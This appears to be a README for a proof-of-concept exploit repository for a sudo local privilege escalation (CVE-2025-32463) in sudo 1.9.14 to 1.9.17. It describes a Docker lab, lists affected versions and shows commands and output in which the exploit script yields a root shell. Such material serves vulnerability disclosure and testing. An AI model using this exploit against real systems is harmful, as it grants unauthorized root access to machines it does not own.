| File               | Purpose                                                                            |
| ------------------ | ---------------------------------------------------------------------------------- |
| **Dockerfile**     | Builds an Ubuntu 24.04 image with vulnerable **sudo 1.9.16p2** and build tools     |
| **sudo‑chwoot.sh** | Proof‑of‑concept exploit that spawns a root shell inside the chroot                |
| **run.sh**         | Helper script that builds the image (if needed) and launches the exploit container |

---

## Affected Versions

> Vulnerable builds of **sudo 1.9.14** up to **1.9.17** (all p‑revisions) on most Linux distributions are affected.

---

## Quick Start

```bash
# 1 – clone repo
$ git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
$ cd CVE-2025-32463_chwoot

# 2 – build and run Docker image (tagged "sudo-chwoot")
$ ./run.sh

# 3 – run exploit in container (drops you into a root shell)
pwn@0da3726bd81f:~$ ./sudo-chwoot.sh
woot!
root@0da3726bd81f:/# id
uid=0(root) gid=0(root) groups=0(root),1001(pwn)
```

`run.sh` passes `--privileged` and `--rm` to Docker so the container cleans itself up when you exit.

---

## Clean Up

Remove the image when you’re done:

```bash
docker rmi sudo-chwoot
```
